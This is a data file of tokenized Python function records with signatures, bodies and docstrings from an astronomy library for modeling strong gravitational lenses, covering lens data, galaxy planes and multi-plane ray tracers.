{"signature": "def add(module):", "body": "pipeline_dict[module.pipeline_name] = PipelineTuple(module)<EOL>", "docstring": "Parameters\n----------\nmodule: {analysis_path, make}", "id": "f5969:m0"}
{"signature": "def __init__(self, ccd_data, mask, sub_grid_size=<NUM_LIT:2>, image_psf_shape=None, inversion_psf_shape=None,<EOL>positions=None, interp_pixel_scale=None):", "body": "self.ccd_data = ccd_data<EOL>self.image = ccd_data.image<EOL>self.noise_map = ccd_data.noise_map<EOL>self.pixel_scale = ccd_data.pixel_scale<EOL>self.psf = ccd_data.psf<EOL>self.mask = mask<EOL>self.image_1d = mask.map_2d_array_to_masked_1d_array(array_2d=ccd_data.image)<EOL>self.noise_map_1d = mask.map_2d_array_to_masked_1d_array(array_2d=ccd_data.noise_map)<EOL>self.mask_1d = mask.map_2d_array_to_masked_1d_array(array_2d=mask)<EOL>self.sub_grid_size = sub_grid_size<EOL>if image_psf_shape is None:<EOL><INDENT>self.image_psf_shape = self.psf.shape<EOL><DEDENT>else:<EOL><INDENT>self.image_psf_shape = image_psf_shape<EOL><DEDENT>self.convolver_image = convolution.ConvolverImage(mask=self.mask,<EOL>blurring_mask=mask.blurring_mask_for_psf_shape(psf_shape=self.image_psf_shape),<EOL>psf=self.psf.resized_scaled_array_from_array(new_shape=self.image_psf_shape))<EOL>if inversion_psf_shape is None:<EOL><INDENT>self.inversion_psf_shape = self.psf.shape<EOL><DEDENT>else:<EOL><INDENT>self.inversion_psf_shape = inversion_psf_shape<EOL><DEDENT>self.convolver_mapping_matrix = inversion_convolution.ConvolverMappingMatrix(<EOL>self.mask, self.psf.resized_scaled_array_from_array(new_shape=self.inversion_psf_shape))<EOL>self.grid_stack = grids.GridStack.grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask,<EOL>sub_grid_size=sub_grid_size, psf_shape=self.image_psf_shape)<EOL>self.padded_grid_stack = grids.GridStack.padded_grid_stack_from_mask_sub_grid_size_and_psf_shape(mask=mask,<EOL>sub_grid_size=sub_grid_size, psf_shape=self.image_psf_shape)<EOL>self.interp_pixel_scale = interp_pixel_scale<EOL>if interp_pixel_scale is not None:<EOL><INDENT>self.grid_stack = self.grid_stack.new_grid_stack_with_interpolator_added_to_each_grid(<EOL>interp_pixel_scale=interp_pixel_scale)<EOL>self.padded_grid_stack = self.padded_grid_stack.new_grid_stack_with_interpolator_added_to_each_grid(<EOL>interp_pixel_scale=interp_pixel_scale)<EOL><DEDENT>self.border = grids.RegularGridBorder.from_mask(mask=mask)<EOL>self.positions = positions<EOL>", "docstring": "The lens data is the collection of data (image, noise-map, PSF), a mask, grid_stack, convolver \\\nand other utilities that are used for modeling and fitting an image of a strong lens.\n\nWhilst the image, noise-map, etc. are loaded in 2D, the lens data creates reduced 1D arrays of each \\\nfor lensing calculations.\n\nParameters\n----------\nccd_data: im.CCD\n    The ccd data all in 2D (the image, noise-map, PSF, etc.)\nmask: msk.Mask\n    The 2D mask that is applied to the image.\nsub_grid_size : int\n    The size of the sub-grid used for each lens SubGrid. E.g. a value of 2 grid_stack each image-pixel on a 2x2 \\\n    sub-grid.\nimage_psf_shape : (int, int)\n    The shape of the PSF used for convolving model image generated using analytic light profiles. A smaller \\\n    shape will trim the PSF relative to the input image PSF, giving a faster analysis run-time.\ninversion_psf_shape : (int, int)\n    The shape of the PSF used for convolving the inversion mapping matrix. A smaller \\\n    shape will trim the PSF relative to the input image PSF, giving a faster analysis run-time.\npositions : [[]]\n    Lists of image-pixel coordinates (arc-seconds) that mappers close to one another in the source-plane(s), \\\n    used to speed up the non-linear sampling.\ninterp_pixel_scale : float\n    If *True*, expensive to compute mass profile deflection angles will be computed on a sparse grid and \\\n    interpolated to the regular, sub and blurring grids.", "id": "f5970:c0:m0"}
{"signature": "def __init__(self, ccd_data, mask, hyper_model_image, hyper_galaxy_images, hyper_minimum_values, sub_grid_size=<NUM_LIT:2>,<EOL>image_psf_shape=None, inversion_psf_shape=None, positions=None, interp_pixel_scale=None):", "body": "super().__init__(ccd_data=ccd_data, mask=mask, sub_grid_size=sub_grid_size, image_psf_shape=image_psf_shape,<EOL>inversion_psf_shape=inversion_psf_shape, positions=positions,<EOL>interp_pixel_scale=interp_pixel_scale)<EOL>self.hyper_model_image = hyper_model_image<EOL>self.hyper_galaxy_images = hyper_galaxy_images<EOL>self.hyper_minimum_values = hyper_minimum_values<EOL>self.hyper_model_image_1d = mask.map_2d_array_to_masked_1d_array(array_2d=hyper_model_image)<EOL>self.hyper_galaxy_images_1d = list(map(lambda hyper_galaxy_image :<EOL>mask.map_2d_array_to_masked_1d_array(hyper_galaxy_image),<EOL>hyper_galaxy_images))<EOL>", "docstring": "The lens data is the collection of data (image, noise-map, PSF), a mask, grid_stack, convolver \\\nand other utilities that are used for modeling and fitting an image of a strong lens.\n\nWhilst the image, noise-map, etc. are loaded in 2D, the lens data creates reduced 1D arrays of each \\\nfor lensing calculations.\n\nLens hyper-data includes the hyper-images necessary for changing different aspects of the data that is fitted \\\nin a Bayesian framework, for example the background-sky subtraction and noise-map.\n\nParameters\n----------\nccd_data: im.CCD\n    The ccd data all in 2D (the image, noise-map, PSF, etc.)\nmask: msk.Mask\n    The 2D mask that is applied to the image.\nsub_grid_size : int\n    The size of the sub-grid used for each lens SubGrid. E.g. a value of 2 grid_stack each image-pixel on a 2x2 \\\n    sub-grid.\nimage_psf_shape : (int, int)\n    The shape of the PSF used for convolving model image generated using analytic light profiles. A smaller \\\n    shape will trim the PSF relative to the input image PSF, giving a faster analysis run-time.\ninversion_psf_shape : (int, int)\n    The shape of the PSF used for convolving the inversion mapping matrix. A smaller \\\n    shape will trim the PSF relative to the input image PSF, giving a faster analysis run-time.\npositions : [[]]\n    Lists of image-pixel coordinates (arc-seconds) that mappers close to one another in the source-plane(s), used \\\n    to speed up the non-linear sampling.\ninterp_pixel_scale : float\n    If *True*, expensive to compute mass profile deflection angles will be computed on a sparse grid and \\\n    interpolated to the regular, sub and blurring grids.", "id": "f5970:c1:m0"}
{"signature": "def __init__(self, redshift, galaxies, cosmology=cosmo.Planck15):", "body": "self.redshift = redshift<EOL>self.galaxies = galaxies<EOL>self.cosmology = cosmology<EOL>", "docstring": "An abstract plane which represents a set of galaxies that are close to one another in redshift-space.\n\n        From an abstract plane, cosmological quantities like angular diameter distances can be computed. If the  \\\n        redshift of the plane is input as *None*, quantities that depend on a redshift are returned as *None*.\n\n        Parameters\n        -----------\n        redshift : float or None\n            The redshift of the plane.\n        galaxies : [Galaxy]\n            The list of galaxies in this plane.\n        cosmology : astropy.cosmology\n            The cosmology associated with the plane, used to convert arc-second coordinates to physical values.", "id": "f5971:c0:m0"}
{"signature": "def luminosities_of_galaxies_within_circles_in_units(self, radius : dim.Length, unit_luminosity='<STR_LIT>', exposure_time=None):", "body": "return list(map(lambda galaxy: galaxy.luminosity_within_circle_in_units(<EOL>radius=radius, unit_luminosity=unit_luminosity, kpc_per_arcsec=self.kpc_per_arcsec,<EOL>exposure_time=exposure_time),<EOL>self.galaxies))<EOL>", "docstring": "Compute the total luminosity of all galaxies in this plane within a circle of specified radius.\n\n        See *galaxy.light_within_circle* and *light_profiles.light_within_circle* for details \\\n        of how this is performed.\n\n        Parameters\n        ----------\n        radius : float\n            The radius of the circle to compute the dimensionless mass within.\n        units_luminosity : str\n            The units the luminosity is returned in (eps | counts).\n        exposure_time : float\n            The exposure time of the observation, which converts luminosity from electrons per second units to counts.", "id": "f5971:c0:m14"}
{"signature": "def luminosities_of_galaxies_within_ellipses_in_units(self, major_axis : dim.Length, unit_luminosity='<STR_LIT>',<EOL>exposure_time=None):", "body": "return list(map(lambda galaxy: galaxy.luminosity_within_ellipse_in_units(<EOL>major_axis=major_axis, unit_luminosity=unit_luminosity, kpc_per_arcsec=self.kpc_per_arcsec,<EOL>exposure_time=exposure_time),<EOL>self.galaxies))<EOL>", "docstring": "Compute the total luminosity of all galaxies in this plane within a ellipse of specified major-axis.\n\nThe value returned by this integral is dimensionless, and a conversion factor can be specified to convert it \\\nto a physical value (e.g. the photometric zeropoint).\n\nSee *galaxy.light_within_ellipse* and *light_profiles.light_within_ellipse* for details\nof how this is performed.\n\nParameters\n----------\nmajor_axis : float\n    The major-axis radius of the ellipse.\nunits_luminosity : str\n    The units the luminosity is returned in (eps | counts).\nexposure_time : float\n    The exposure time of the observation, which converts luminosity from electrons per second units to counts.", "id": "f5971:c0:m15"}
{"signature": "def masses_of_galaxies_within_circles_in_units(self, radius : dim.Length, unit_mass='<STR_LIT>',<EOL>critical_surface_density=None):", "body": "return list(map(lambda galaxy: galaxy.mass_within_circle_in_units(<EOL>radius=radius, unit_mass=unit_mass, kpc_per_arcsec=self.kpc_per_arcsec,<EOL>critical_surface_density=critical_surface_density),<EOL>self.galaxies))<EOL>", "docstring": "Compute the total mass of all galaxies in this plane within a circle of specified radius.\n\n        See *galaxy.angular_mass_within_circle* and *mass_profiles.angular_mass_within_circle* for details\n        of how this is performed.\n\n        Parameters\n        ----------\n        radius : float\n            The radius of the circle to compute the dimensionless mass within.\n        units_mass : str\n            The units the mass is returned in (angular | solMass).\n        critical_surface_density : float\n            The critical surface mass density of the strong lens configuration, which converts mass from angulalr \\\n            units to physical units (e.g. solar masses).", "id": "f5971:c0:m16"}
{"signature": "def masses_of_galaxies_within_ellipses_in_units(self, major_axis : dim.Length, unit_mass='<STR_LIT>',<EOL>critical_surface_density=None):", "body": "return list(map(lambda galaxy: galaxy.mass_within_ellipse_in_units(<EOL>major_axis=major_axis, unit_mass=unit_mass, kpc_per_arcsec=self.kpc_per_arcsec,<EOL>critical_surface_density=critical_surface_density),<EOL>self.galaxies))<EOL>", "docstring": "Compute the total mass of all galaxies in this plane within a ellipse of specified major-axis.\n\n        See *galaxy.angular_mass_within_ellipse* and *mass_profiles.angular_mass_within_ellipse* for details \\\n        of how this is performed.\n\n        Parameters\n        ----------\n        major_axis : float\n            The major-axis radius of the ellipse.\n        units_luminosity : str\n            The units the luminosity is returned in (eps | counts).\n        exposure_time : float\n            The exposure time of the observation, which converts luminosity from electrons per second units to counts.", "id": "f5971:c0:m17"}
{"signature": "def __init__(self, redshift, galaxies, grid_stack, border, compute_deflections, cosmology=cosmo.Planck15):", "body": "super(AbstractGriddedPlane, self).__init__(redshift=redshift, galaxies=galaxies, cosmology=cosmology)<EOL>self.grid_stack = grid_stack<EOL>self.border = border<EOL>if compute_deflections:<EOL><INDENT>def calculate_deflections(grid):<EOL><INDENT>if galaxies:<EOL><INDENT>return sum(map(lambda galaxy: galaxy.deflections_from_grid(grid), galaxies))<EOL><DEDENT>else:<EOL><INDENT>return np.full((grid.shape[<NUM_LIT:0>], <NUM_LIT:2>), <NUM_LIT:0.0>)<EOL><DEDENT><DEDENT>self.deflection_stack = self.grid_stack.apply_function(calculate_deflections)<EOL><DEDENT>else:<EOL><INDENT>self.deflection_stack = None<EOL><DEDENT>", "docstring": "An abstract plane which represents a set of galaxies that are close to one another in redshift-space and \\\n        have an associated grid on which lensing calcuations are performed.\n\n        From an abstract plane grid, the surface-density, potential and deflection angles of the galaxies can be \\\n        computed.\n\n        Parameters\n        -----------\n        redshift : float or None\n            The redshift of the plane.\n        galaxies : [Galaxy]\n            The list of lens galaxies in this plane.\n        grid_stack : masks.GridStack\n            The stack of grid_stacks of (y,x) arc-second coordinates of this plane.\n        border : masks.RegularGridBorder\n            The borders of the regular-grid, which is used to relocate demagnified traced regular-pixel to the \\\n            source-plane borders.\n        compute_deflections : bool\n            If true, the deflection-angles of this plane's coordinates are calculated use its galaxy's mass-profiles.\n        cosmology : astropy.cosmology\n            The cosmology associated with the plane, used to convert arc-second coordinates to physical values.", "id": "f5971:c1:m0"}
{"signature": "def trace_grid_stack_to_next_plane(self):", "body": "def minus(grid, deflections):<EOL><INDENT>return grid - deflections<EOL><DEDENT>return self.grid_stack.map_function(minus, self.deflection_stack)<EOL>", "docstring": "Trace this plane's grid_stacks to the next plane, using its deflection angles.", "id": "f5971:c1:m1"}
{"signature": "@property<EOL><INDENT>def yticks(self):<DEDENT>", "body": "return np.linspace(np.amin(self.grid_stack.regular[:, <NUM_LIT:0>]), np.amax(self.grid_stack.regular[:, <NUM_LIT:0>]), <NUM_LIT:4>)<EOL>", "docstring": "Compute the yticks labels of this grid_stack, used for plotting the y-axis ticks when visualizing an image \\", "id": "f5971:c1:m16"}
{"signature": "@property<EOL><INDENT>def xticks(self):<DEDENT>", "body": "return np.linspace(np.amin(self.grid_stack.regular[:, <NUM_LIT:1>]), np.amax(self.grid_stack.regular[:, <NUM_LIT:1>]), <NUM_LIT:4>)<EOL>", "docstring": "Compute the xticks labels of this grid_stack, used for plotting the x-axis ticks when visualizing an \\\n        image", "id": "f5971:c1:m17"}
{"signature": "def __init__(self, galaxies, grid_stack, border=None, compute_deflections=True, cosmology=cosmo.Planck15):", "body": "if not galaxies:<EOL><INDENT>raise exc.RayTracingException('<STR_LIT>')<EOL><DEDENT>galaxy_redshifts = [galaxy.redshift for galaxy in galaxies]<EOL>if any([redshift is not None for redshift in galaxy_redshifts]):<EOL><INDENT>if not all([galaxies[<NUM_LIT:0>].redshift == galaxy.redshift for galaxy in galaxies]):<EOL><INDENT>raise exc.RayTracingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>super(Plane, self).__init__(redshift=galaxies[<NUM_LIT:0>].redshift, galaxies=galaxies, grid_stack=grid_stack,<EOL>border=border, compute_deflections=compute_deflections, cosmology=cosmology)<EOL>", "docstring": "A plane of galaxies where all galaxies are at the same redshift.\n\n        Parameters\n        -----------\n        galaxies : [Galaxy]\n            The list of lens galaxies in this plane.\n        grid_stack : masks.GridStack\n            The stack of grid_stacks of (y,x) arc-second coordinates of this plane.\n        border : masks.RegularGridBorder\n            The borders of the regular-grid, which is used to relocate demagnified traced regular-pixel to the \\\n            source-plane borders.\n        compute_deflections : bool\n            If true, the deflection-angles of this plane's coordinates are calculated use its galaxy's mass-profiles.\n        cosmology : astropy.cosmology\n            The cosmology associated with the plane, used to convert arc-second coordinates to physical values.", "id": "f5971:c2:m0"}
{"signature": "def unmasked_blurred_image_of_galaxies_from_psf(self, padded_grid_stack, psf):", "body": "return [padded_grid_stack.unmasked_blurred_image_from_psf_and_unmasked_image(<EOL>psf, image) if not galaxy.has_pixelization else None for galaxy, image in<EOL>zip(self.galaxies, self.image_plane_image_1d_of_galaxies)]<EOL>", "docstring": "This is a utility function for the function above, which performs the iteration over each plane's galaxies \\\n        and computes each galaxy's unmasked blurred image.\n\n        Parameters\n        ----------\n        padded_grid_stack\n        psf : ccd.PSF\n            The PSF of the image used for convolution.", "id": "f5971:c2:m1"}
{"signature": "def __init__(self, galaxies, grid_stack, redshift, border=None, compute_deflections=True, cosmology=cosmo.Planck15):", "body": "super(PlaneSlice, self).__init__(redshift=redshift, galaxies=galaxies, grid_stack=grid_stack, border=border,<EOL>compute_deflections=compute_deflections, cosmology=cosmology)<EOL>", "docstring": "A plane of galaxies where the galaxies may be at different redshifts to the plane itself.\n\n        Parameters\n        -----------\n        galaxies : [Galaxy]\n            The list of lens galaxies in this plane.\n        grid_stack : masks.GridStack\n            The stack of grid_stacks of (y,x) arc-second coordinates of this plane.\n        border : masks.RegularGridBorder\n            The borders of the regular-grid, which is used to relocate demagnified traced regular-pixel to the \\\n            source-plane borders.\n        compute_deflections : bool\n            If true, the deflection-angles of this plane's coordinates are calculated use its galaxy's mass-profiles.\n        cosmology : astropy.cosmology\n            The cosmology associated with the plane, used to convert arc-second coordinates to physical values.", "id": "f5971:c3:m0"}
{"signature": "def __init__(self, redshift, galaxies, positions, compute_deflections=True, cosmology=None):", "body": "self.redshift = redshift<EOL>self.galaxies = galaxies<EOL>self.positions = positions<EOL>if compute_deflections:<EOL><INDENT>def calculate_deflections(pos):<EOL><INDENT>return sum(map(lambda galaxy: galaxy.deflections_from_grid(pos), galaxies))<EOL><DEDENT>self.deflections = list(map(lambda pos: calculate_deflections(pos), self.positions))<EOL><DEDENT>self.cosmology = cosmology<EOL>", "docstring": "A plane represents a set of galaxies at a given redshift in a ray-tracer_normal and the positions of image-plane \\\n        coordinates which mappers close to one another in the source-plane.\n\n        Parameters\n        -----------\n        galaxies : [Galaxy]\n            The list of lens galaxies in this plane.\n        positions : [[[]]]\n            The (y,x) arc-second coordinates of image-plane pixels which (are expected to) mappers to the same\n            location(s) in the final source-plane.\n        compute_deflections : bool\n            If true, the deflection-angles of this plane's coordinates are calculated use its galaxy's mass-profiles.", "id": "f5971:c4:m0"}
{"signature": "def trace_to_next_plane(self):", "body": "return list(map(lambda positions, deflections: np.subtract(positions, deflections),<EOL>self.positions, self.deflections))<EOL>", "docstring": "Trace the positions to the next plane.", "id": "f5971:c4:m1"}
{"signature": "def check_tracer_for_light_profile(func):", "body": "@wraps(func)<EOL>def wrapper(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if self.has_light_profile is True:<EOL><INDENT>return func(self)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "If none of the tracer's galaxies have a light profile, it image-plane image cannot be computed. This wrapper \\\n    makes this property return *None*.\n\n    Parameters\n    ----------\n    func : (self) -> Object\n        A property function that requires galaxies to have a mass profile.", "id": "f5972:m0"}
{"signature": "def check_tracer_for_mass_profile(func):", "body": "@wraps(func)<EOL>def wrapper(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if self.has_mass_profile is True:<EOL><INDENT>return func(self)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "If none of the tracer's galaxies have a mass profile, it surface density, potential and deflections cannot \\\n    be computed. This wrapper makes these properties return *None*.\n\n    Parameters\n    ----------\n    func : (self) -> Object\n        A property function that requires galaxies to have a mass profile.", "id": "f5972:m1"}
{"signature": "def __init__(self, plane_redshifts, cosmology):", "body": "self.plane_redshifts = plane_redshifts<EOL>self.cosmology = cosmology<EOL>", "docstring": "Abstract Ray tracer for lens systems with any number of planes.\n\n        From the galaxies of the tracer's planes, their grid-stack(s) and the cosmology physically derived quantities \\\n        (e.g. surface density, angular diameter distances, critical surface densities) can be computed.\n\n        Parameters\n        ----------\n        plane_redshifts : [pl.Plane] or [pl.PlaneStack]\n            The list of the tracer's planes in ascending redshift order.\n        cosmology : astropy.cosmology\n            The cosmology of the ray-tracing calculation.", "id": "f5972:c0:m0"}
{"signature": "def __init__(self, planes, cosmology):", "body": "self.planes = planes<EOL>super(AbstractTracer, self).__init__(plane_redshifts=[plane.redshift for plane in self.planes],<EOL>cosmology=cosmology)<EOL>", "docstring": "Abstract Ray tracer for lens systems with any number of planes.\n\n        From the galaxies of the tracer's planes, their grid-stack(s) and the cosmology physically derived quantities \\\n        (e.g. surface density, angular diameter distances, critical surface densities) can be computed.\n\n        Parameters\n        ----------\n        planes : [pl.Plane] or [pl.PlaneStack]\n            The list of the tracer's planes in ascending redshift order.\n        cosmology : astropy.cosmology\n            The cosmology of the ray-tracing calculation.", "id": "f5972:c1:m0"}
{"signature": "def grid_at_redshift_from_image_plane_grid_and_redshift(self, image_plane_grid, redshift):", "body": "<EOL>image_plane_grid_stack = grids.GridStack(regular=image_plane_grid, sub=np.array([[<NUM_LIT:0.0>, <NUM_LIT:0.0>]]),<EOL>blurring=np.array([[<NUM_LIT:0.0>, <NUM_LIT:0.0>]]))<EOL>tracer = TracerMultiPlanes(galaxies=self.galaxies, image_plane_grid_stack=image_plane_grid_stack,<EOL>border=None, cosmology=self.cosmology)<EOL>for plane_index in range(<NUM_LIT:0>, len(self.plane_redshifts)):<EOL><INDENT>new_grid_stack = image_plane_grid_stack<EOL>if redshift <= tracer.plane_redshifts[plane_index]:<EOL><INDENT>if plane_index > <NUM_LIT:0>:<EOL><INDENT>for previous_plane_index in range(plane_index):<EOL><INDENT>scaling_factor = cosmology_util.scaling_factor_between_redshifts_from_redshifts_and_cosmology(<EOL>redshift_0=tracer.plane_redshifts[previous_plane_index], redshift_1=redshift,<EOL>redshift_final=tracer.plane_redshifts[-<NUM_LIT:1>], cosmology=tracer.cosmology)<EOL>scaled_deflection_stack = lens_util.scaled_deflection_stack_from_plane_and_scaling_factor(<EOL>plane=tracer.planes[previous_plane_index], scaling_factor=scaling_factor)<EOL>new_grid_stack =lens_util.grid_stack_from_deflection_stack(grid_stack=new_grid_stack,<EOL>deflection_stack=scaled_deflection_stack)<EOL><DEDENT><DEDENT>elif plane_index == <NUM_LIT:0>:<EOL><INDENT>return new_grid_stack.regular<EOL><DEDENT>return new_grid_stack.regular<EOL><DEDENT><DEDENT>", "docstring": "For an input grid of (y,x) arc-second image-plane coordinates, ray-trace the coordinates to any redshift in \\\n        the strong lens configuration.\n\n        This is performed using multi-plane ray-tracing and the existing redshifts and planes of the tracer. However, \\\n        any redshift can be input even if a plane does not exist there, including redshifts before the first plane \\\n        of the lensing system.\n\n        Parameters\n        ----------\n        image_plane_grid : ndsrray or grids.RegularGrid\n            The image-plane grid which is traced to the redshift.\n        redshift : float\n            The redshift the image-plane grid is traced to.", "id": "f5972:c1:m27"}
{"signature": "def __init__(self, lens_galaxies, image_plane_grid_stack, border=None, cosmology=cosmo.Planck15,<EOL>units_distance='<STR_LIT>', units_luminosity='<STR_LIT>', units_mass='<STR_LIT>'):", "body": "if not lens_galaxies:<EOL><INDENT>raise exc.RayTracingException('<STR_LIT>')<EOL><DEDENT>image_plane = pl.Plane(galaxies=lens_galaxies, grid_stack=image_plane_grid_stack, border=border,<EOL>compute_deflections=True, cosmology=cosmology)<EOL>super(TracerImagePlane, self).__init__(planes=[image_plane], cosmology=cosmology)<EOL>", "docstring": "Ray tracer for a lens system with just an image-plane. \n\n        As there is only 1 plane, there are no ray-tracing calculations. This class is therefore only used for fitting \\ \n        image-plane galaxies with light profiles.\n\n        This tracer has only one grid-stack (see grid_stack.GridStack) which is used for ray-tracing.\n\n        Parameters\n        ----------\n        lens_galaxies : [Galaxy]\n            The list of lens galaxies in the image-plane.\n        image_plane_grid_stack : grid_stacks.GridStack\n            The image-plane grid stack which is traced. (includes the regular-grid, sub-grid, blurring-grid, etc.).\n        border : masks.RegularGridBorder\n            The border of the regular-grid, which is used to relocate demagnified traced pixels to the \\\n            source-plane borders.\n        cosmology : astropy.cosmology\n            The cosmology of the ray-tracing calculation.", "id": "f5972:c2:m0"}
{"signature": "def __init__(self, lens_galaxies, source_galaxies, image_plane_grid_stack, border=None, cosmology=cosmo.Planck15):", "body": "image_plane_grid_stack = pix.setup_image_plane_pixelization_grid_from_galaxies_and_grid_stack(<EOL>galaxies=source_galaxies, grid_stack=image_plane_grid_stack)<EOL>image_plane = pl.Plane(galaxies=lens_galaxies, grid_stack=image_plane_grid_stack, border=border,<EOL>compute_deflections=True, cosmology=cosmology)<EOL>source_plane_grid_stack = image_plane.trace_grid_stack_to_next_plane()<EOL>source_plane = pl.Plane(galaxies=source_galaxies, grid_stack=source_plane_grid_stack, border=border,<EOL>compute_deflections=False, cosmology=cosmology)<EOL>super(TracerImageSourcePlanes, self).__init__(planes=[image_plane, source_plane], cosmology=cosmology)<EOL>", "docstring": "Ray-tracer for a lens system with two planes, an image-plane and source-plane.\n\n        This tracer has only one grid-stack (see grid_stack.GridStack) which is used for ray-tracing.\n\n        Parameters\n        ----------\n        lens_galaxies : [Galaxy]\n            The list of galaxies in the image-plane.\n        source_galaxies : [Galaxy]\n            The list of galaxies in the source-plane.\n        image_plane_grid_stack : grid_stacks.GridStack\n            The image-plane grid stack which is traced. (includes the regular-grid, sub-grid, blurring-grid, etc.).\n        border : masks.RegularGridBorder\n            The border of the regular-grid, which is used to relocate demagnified traced pixels to the \\\n            source-plane borders.\n        cosmology : astropy.cosmology.Planck15\n            The cosmology of the ray-tracing calculation.", "id": "f5972:c3:m0"}
{"signature": "def __init__(self, galaxies, image_plane_grid_stack, border=None, cosmology=cosmo.Planck15):", "body": "plane_redshifts = lens_util.ordered_plane_redshifts_from_galaxies(galaxies=galaxies)<EOL>galaxies_in_planes =lens_util.galaxies_in_redshift_ordered_planes_from_galaxies(galaxies=galaxies,<EOL>plane_redshifts=plane_redshifts)<EOL>image_plane_grid_stack = pix.setup_image_plane_pixelization_grid_from_galaxies_and_grid_stack(<EOL>galaxies=galaxies, grid_stack=image_plane_grid_stack)<EOL>planes = []<EOL>for plane_index in range(<NUM_LIT:0>, len(plane_redshifts)):<EOL><INDENT>compute_deflections = lens_util.compute_deflections_at_next_plane(plane_index=plane_index,<EOL>total_planes=len(plane_redshifts))<EOL>new_grid_stack = image_plane_grid_stack<EOL>if plane_index > <NUM_LIT:0>:<EOL><INDENT>for previous_plane_index in range(plane_index):<EOL><INDENT>scaling_factor = cosmology_util.scaling_factor_between_redshifts_from_redshifts_and_cosmology(<EOL>redshift_0=plane_redshifts[previous_plane_index], redshift_1=plane_redshifts[plane_index],<EOL>redshift_final=plane_redshifts[-<NUM_LIT:1>], cosmology=cosmology)<EOL>scaled_deflection_stack = lens_util.scaled_deflection_stack_from_plane_and_scaling_factor(<EOL>plane=planes[previous_plane_index], scaling_factor=scaling_factor)<EOL>new_grid_stack =lens_util.grid_stack_from_deflection_stack(grid_stack=new_grid_stack,<EOL>deflection_stack=scaled_deflection_stack)<EOL><DEDENT><DEDENT>planes.append(pl.Plane(galaxies=galaxies_in_planes[plane_index], grid_stack=new_grid_stack,<EOL>border=border, compute_deflections=compute_deflections, cosmology=cosmology))<EOL><DEDENT>super(TracerMultiPlanes, self).__init__(planes=planes, cosmology=cosmology)<EOL>", "docstring": "Ray-tracer for a lens system with any number of planes.\n\n        The redshift of these planes are specified by the redshits of the galaxies; there is a unique plane redshift \\\n        for every unique galaxy redshift (galaxies with identical redshifts are put in the same plane).\n\n        To perform multi-plane ray-tracing, a cosmology must be supplied so that deflection-angles can be rescaled \\\n        according to the lens-geometry of the multi-plane system. All galaxies input to the tracer must therefore \\\n        have redshifts.\n\n        This tracer has only one grid-stack (see grid_stack.GridStack) which is used for ray-tracing.\n\n        Parameters\n        ----------\n        galaxies : [Galaxy]\n            The list of galaxies in the ray-tracing calculation.\n        image_plane_grid_stack : grid_stacks.GridStack\n            The image-plane grid stack which is traced. (includes the regular-grid, sub-grid, blurring-grid, etc.).\n        border : masks.RegularGridBorder\n            The border of the regular-grid, which is used to relocate demagnified traced pixels to the \\\n            source-plane borders.\n        cosmology : astropy.cosmology\n            The cosmology of the ray-tracing calculation.", "id": "f5972:c4:m0"}
{"signature": "def __init__(self, lens_galaxies, line_of_sight_galaxies, source_galaxies, planes_between_lenses,<EOL>image_plane_grid_stack, border=None, cosmology=cosmo.Planck15):", "body": "lens_redshifts = lens_util.ordered_plane_redshifts_from_galaxies(galaxies=lens_galaxies)<EOL>plane_redshifts = lens_util.ordered_plane_redshifts_from_lens_and_source_plane_redshifts_and_slice_sizes(<EOL>lens_redshifts=lens_redshifts, planes_between_lenses=planes_between_lenses,<EOL>source_plane_redshift=source_galaxies[<NUM_LIT:0>].redshift)<EOL>galaxies_in_planes =lens_util.galaxies_in_redshift_ordered_planes_from_galaxies(galaxies=lens_galaxies + line_of_sight_galaxies,<EOL>plane_redshifts=plane_redshifts)<EOL>plane_redshifts.append(source_galaxies[<NUM_LIT:0>].redshift)<EOL>galaxies_in_planes.append(source_galaxies)<EOL>image_plane_grid_stack = pix.setup_image_plane_pixelization_grid_from_galaxies_and_grid_stack(<EOL>galaxies=lens_galaxies, grid_stack=image_plane_grid_stack)<EOL>planes = []<EOL>for plane_index in range(<NUM_LIT:0>, len(plane_redshifts)):<EOL><INDENT>compute_deflections = lens_util.compute_deflections_at_next_plane(plane_index=plane_index,<EOL>total_planes=len(plane_redshifts))<EOL>new_grid_stack = image_plane_grid_stack<EOL>if plane_index > <NUM_LIT:0>:<EOL><INDENT>print()<EOL>for previous_plane_index in range(plane_index):<EOL><INDENT>scaling_factor = cosmology_util.scaling_factor_between_redshifts_from_redshifts_and_cosmology(<EOL>redshift_0=plane_redshifts[previous_plane_index], redshift_1=plane_redshifts[plane_index],<EOL>redshift_final=plane_redshifts[-<NUM_LIT:1>], cosmology=cosmology)<EOL>scaled_deflection_stack = lens_util.scaled_deflection_stack_from_plane_and_scaling_factor(<EOL>plane=planes[previous_plane_index], scaling_factor=scaling_factor)<EOL>new_grid_stack =lens_util.grid_stack_from_deflection_stack(grid_stack=new_grid_stack,<EOL>deflection_stack=scaled_deflection_stack)<EOL><DEDENT><DEDENT>planes.append(pl.PlaneSlice(redshift=plane_redshifts[plane_index], galaxies=galaxies_in_planes[plane_index],<EOL>grid_stack=new_grid_stack, border=border,<EOL>compute_deflections=compute_deflections, cosmology=cosmology))<EOL><DEDENT>super(TracerMultiPlanesSliced, self).__init__(planes=planes, cosmology=cosmology)<EOL>", "docstring": "Ray-tracer for a lens system with any number of planes.\n\n        The redshift of these planes are specified by the input parameters *lens_redshifts* and \\\n         *slices_between_main_planes*. Every galaxy is placed in its closest plane in redshift-space.\n\n        To perform multi-plane ray-tracing, a cosmology must be supplied so that deflection-angles can be rescaled \\\n        according to the lens-geometry of the multi-plane system. All galaxies input to the tracer must therefore \\\n        have redshifts.\n\n        This tracer has only one grid-stack (see grid_stack.GridStack) which is used for ray-tracing.\n\n        Parameters\n        ----------\n        lens_galaxies : [Galaxy]\n            The list of galaxies in the ray-tracing calculation.\n        image_plane_grid_stack : grid_stacks.GridStack\n            The image-plane grid stack which is traced. (includes the regular-grid, sub-grid, blurring-grid, etc.).\n        planes_between_lenses : [int]\n            The number of slices between each main plane. The first entry in this list determines the number of slices \\\n            between Earth (redshift 0.0) and main plane 0, the next between main planes 0 and 1, etc.\n        border : masks.RegularGridBorder\n            The border of the regular-grid, which is used to relocate demagnified traced pixels to the 